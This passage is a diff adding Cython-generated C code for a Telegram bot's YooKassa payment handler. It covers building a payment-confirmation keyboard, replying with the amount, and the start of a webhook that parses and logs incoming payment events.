"handlers/payments/yookassa_pay.py":159 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yookassa_pay.py":160 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yookassa_pay.py":161 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__9) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_12); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_12)) __PYX_ERR(0, 161, __pyx_L1_error); + __pyx_t_12 = 0; + + /* "handlers/payments/yookassa_pay.py":162 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 162, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 162, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_13); + if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_13)) __PYX_ERR(0, 162, __pyx_L1_error); + __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":160 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_13 = PyList_New(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 1, __pyx_t_9)) __PYX_ERR(0, 160, __pyx_L1_error); + __pyx_t_2 = 0; + __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_13) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":159 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_13; + __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":166 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 166, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":167 + * + * await callback_query.message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_13 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_3 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__10); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_15; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__11); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_3, __pyx_t_15); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_13, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":168 + * await callback_query.message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + if (PyDict_SetItem(__pyx_t_13, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":166 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_13); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 166, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 166, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 166, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":156 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + goto __pyx_L15; + } + + /* "handlers/payments/yookassa_pay.py":171 + * ) + * else: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * + * + */ + /*else*/ { + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_kp_u__12}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L17_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 171, __pyx_L1_error) + } + } + } + __pyx_L15:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_12yookassa_pay_6yookassa_webhook, "\n \320\236\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\260 \320\262\320\265\320\261\321\205\321\203\320\272\320\276\320\262 Yookassa \320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\277\320\273\320\260\321\202\320\265\320\266\320\265\320\271.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook = {"yookassa_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_12yookassa_pay_6yookassa_webhook}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yookassa_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 174, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yookassa_webhook") < 0)) __PYX_ERR(0, 174, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("yookassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 174, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("yookassa_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 174, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_8generator2, __pyx_codeobj__13, (PyObject *) __pyx_cur_scope, __pyx_n_s_yookassa_webhook, __pyx_n_s_yookassa_webhook, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + double __pyx_t_14; + Py_ssize_t __pyx_t_15; + Py_UCS4 __pyx_t_16; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + int __pyx_t_21; + char const *__pyx_t_22; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + PyObject *__pyx_t_26 = NULL; + PyObject *__pyx_t_27 = NULL; + PyObject *__pyx_t_28 = NULL; + PyObject *__pyx_t_29 = NULL; + char const *__pyx_t_30; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yookassa_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L21_resume_from_await; + case 3: goto __pyx_L22_resume_from_await; + case 4: goto __pyx_L23_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 174, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":178 + * Yookassa . + * """ + * event = await request.json() # <<<<<<<<<<<<<< + * logger.info(f"Webhook event received: {event}") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_event = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":179 + * """ + * event = await request.json() + * logger.info(f"Webhook event received: {event}") # <<<<<<<<<<<<<< + * + * payment_object = event.get("object", {}) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_event, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":181 + * logger.info(f"Webhook event received: {event}") + * + * payment_object = event.get("object", {}) # <<<<<<<<<<<<<< + * payment_id = payment_object.get("id") + * if not payment_id: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_event, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if 